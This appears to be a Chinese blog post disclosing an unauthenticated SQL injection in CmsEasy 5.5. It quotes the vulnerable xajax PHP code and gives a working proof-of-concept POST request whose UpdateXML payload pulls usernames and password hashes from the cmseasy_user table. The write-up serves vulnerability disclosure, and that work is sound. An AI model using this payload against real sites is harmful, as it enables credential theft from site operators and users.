cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)

摘要

cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无

cmseasy前台无需登录直接获取敏感数据的SQL注入cmseasy 前台无视gpc的sql注入


我下载的是最新版本的cmseasy,之前有人提过这里的漏洞,官方进行了修补,但是越修补,越捉急,直接看代码:



这里是注册函数的地方


celive.class.php(480-497):

function xajax_live() {
         if (!$this->xajax_live_flag) {
             $this->xajax_live_flag=true;
             include_once(dirname(__FILE__).'/xajax.inc.php');
             include_once(dirname(__FILE__).'/xajax.class.php');
             global $xajax_live;
             $xajax_live=new xajax();
             $xajax_live->setCharEncoding('utf-8');
             $xajax_live->decodeUTF8InputOn();
             $xajax_live->registerFunction('Request');
             $xajax_live->registerFunction('Postdata');
             $xajax_live->registerFunction('ChatHistory');
             $xajax_live->registerFunction('LiveMessage');
             $xajax_live->registerFunction('EndChat');
             $xajax_live->registerFunction('GetAdminEndChat');
             $xajax_live->processRequests();
         }
     }

这里就是最后我们执行的注册函数


xajx.inc.php:(175-195):

function LiveMessage($a) {
     global $db;
     $sessionid = $_SESSION['sessionid'];
     $name = htmlspecialchars($a['name']);
     $email = htmlspecialchars($a['email']);
     $country = htmlspecialchars($a['country']);
     $phone = htmlspecialchars($a['phone']);
     $departmentid = htmlspecialchars($a['departmentid']);
     $message = htmlspecialchars($a['message']);
     $timestamp = time();
     $ip = $_SERVER['REMOTE_ADDR'];
     $sql = "INSERT INTO `chat` (`sessionid`,`name`,`email`,`phone`,`departmentid`,`message`,`timestamp`,`ip`,`status`) VALUES('" . $sessionid . "','" . $name . "','" . $email . "','" . $phone . "','" . $departmentid . "','" . $message . "','" . $timestamp . "','" . $ip . "','2')";
     $db->query($sql);
     $sql = "DELETE FROM `sessions` WHERE `id`='" . $sessionid . "'";
     $db->query($sql);
     $text = "<?php echo $lang[shout_success]?>\n";
     $objResponse = new xajaxResponse('utf-8');
     $objResponse->addAssign('content', 'innerHTML', $text);
     $objResponse->redirect('../', 5);
     return $objResponse;
 }

搞清楚了这个我们看一下 参数怎么流入进来的:


xajax.class.php(306-324):

//这里如果gpc开启,那么还原字符串
 for ($i = 0;$i <sizeof($aArgs);$i++)
 {
 if (get_magic_quotes_gpc() == 1 &&is_string($aArgs[$i])) {
 $aArgs[$i] = stripslashes($aArgs[$i]);
 }
 if (stristr($aArgs[$i],"<xjxobj>") != false)
 {
 $aArgs[$i] = $this->_xmlToArray("xjxobj",$aArgs[$i]);
 }
 else if (stristr($aArgs[$i],"<xjxquery>") != false)
 {
 $aArgs[$i] = $this->_xmlToArray("xjxquery",$aArgs[$i]);
 }
 else if ($this->bDecodeUTF8Input)
 {
 $aArgs[$i] = $this->_decodeUTF8Data($aArgs[$i]);
 }
 }

看见没有,如果这里开启的gpc,那么这里就直接stripslashes,坐着肯定是为了后面解析xml,才做了这个考虑


问题就在这里,我们构造发送数据为:


url:


http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818_new/uploads/celive/live/header.php


postdata:


xajax=LiveMessage&xajaxargs[0]=<xjxobj><q><e><k>name</k><v>',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--%20</v></e></q></xjxobj>



然后访问一下,直接密码用户名了:


目前评论:0 条

发表评论